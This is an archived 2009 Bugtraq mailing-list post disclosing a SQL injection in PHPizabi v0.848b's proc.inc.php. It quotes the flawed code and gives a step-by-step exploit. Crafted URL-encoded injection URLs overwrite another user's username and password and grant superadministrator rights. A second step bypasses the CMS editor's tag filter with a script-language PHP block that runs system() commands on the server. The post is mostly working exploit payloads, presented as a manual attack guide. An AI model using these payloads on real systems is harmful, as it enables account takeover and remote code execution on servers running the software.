bugtraq - PHPizabi v0.848b C1 HFP1 proc.inc.php remote privilege escalation (php.ini independent)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <200903240704.n2O74SRN010098@www3.securityfocus.com>
Date: Tue, 24 Mar 2009 01:04:28 -0600
From: nospam@...il.it
To: bugtraq@...urityfocus.com
Subject: PHPizabi v0.848b C1 HFP1 proc.inc.php remote privilege escalation
 (php.ini independent)

--------------------------------------------------------------------------------
PHPizabi v0.848b C1 HFP1 proc.inc.php remote privilege escalation (php.ini
independent)
by Nine:Situations:Group::bookoo
--------------------------------------------------------------------------------
our site: http://retrogod.altervista.org/
software site: http://www.phpizabi.net/
--------------------------------------------------------------------------------

vulnerability:
sql injection in /theme/default/proc.inc.php

<?php

	function bufferProcParse($buffer) {
		global $CONF;
		
		$tpl = new template;
		$tpl -> LoadThis($buffer);
		// HANDLE POSTED NOTEPAD DATA ///////////////////////////////////////////////////////
		if (isset($_GET["notepad_body"])) {
			myQ("UPDATE `[x]users` SET `notepad_body` = '".urldecode($_GET["notepad_body"])."' WHERE `id`='".me("id")."'");
			me("flush");
		}
..

note urldecode() ...

exploitation, manual:

injection urls:

change username and password of an existing user:
[sql]', username = 'bookoo', password = md5('pass') WHERE username = 'user'/*
which becomes:
http://host/path_to_phpizabi/?notepad_body=%2527,%20username%20=%20%2527bookoo%2527,%20password%20=%20md5(%2527pass%2527)%20WHERE%20username%20=%20%2527user%

2527/*

grant yourself admin rights:
[sql]', is_moderator = 1, is_administrator = 1, is_superadministrator = 1 WHERE username = 'bookoo'/*
which becomes:

http://host/path_to_phpizabi/?notepad_body=%2527,%20is_moderator%20=%201,%20is_administrator%20=%201,%20is_superadministrator%20=%201%20WHERE%20username%20=%

20%2527bookoo%2527/*

navigate:

http://host/path_to_phpizabi/?L=admin.index

boom !

now go to:

http://host/path_to_phpizabi/?L=admin.cms.edit&id={cms.file}

use this opening and closing tag style, example:

<script language="php">
system("ls -la");
</script>

(it is always availiable, see:http://www.php.net/manual/en/language.basic-syntax.phpmode.php)
because of that preg_replace() in /modules/admin/cms/edit.php :

..
	if (isset($_POST["Submit"])) {
		if ($handle = fopen("modules/cms/{$_GET["id"]}.php", "w")) {
			
			$body =
				"<?php if (!defined(\"CORE_STRAP\")) die(); ?>\n"
				.preg_replace('#(<\\?.*\\?>)|(<%.*%>)|<\\?php|<\\?|\\?>|<%|%>#si', NULL, stripslashes($_POST["body"][0]))
				."\n<!-- Edited by ".me("username")." on ".date($CONF["LOCALE_HEADER_DATE_TIME"])." -->";
			;
			
			fwrite($handle, $body);
			fclose($handle);
..

which is bypassed.

save changes and navigate:

http://host/path_to_phpizabi/?L=cms._cms_file_

to see the output...

now visit log page:

http://192.168.0.1/phpizabi/?L=admin.logs.logs

..
--------------------------------------------------------------------------------

original url: http://retrogod.altervista.org/9sg_phpizabi_848bc1.html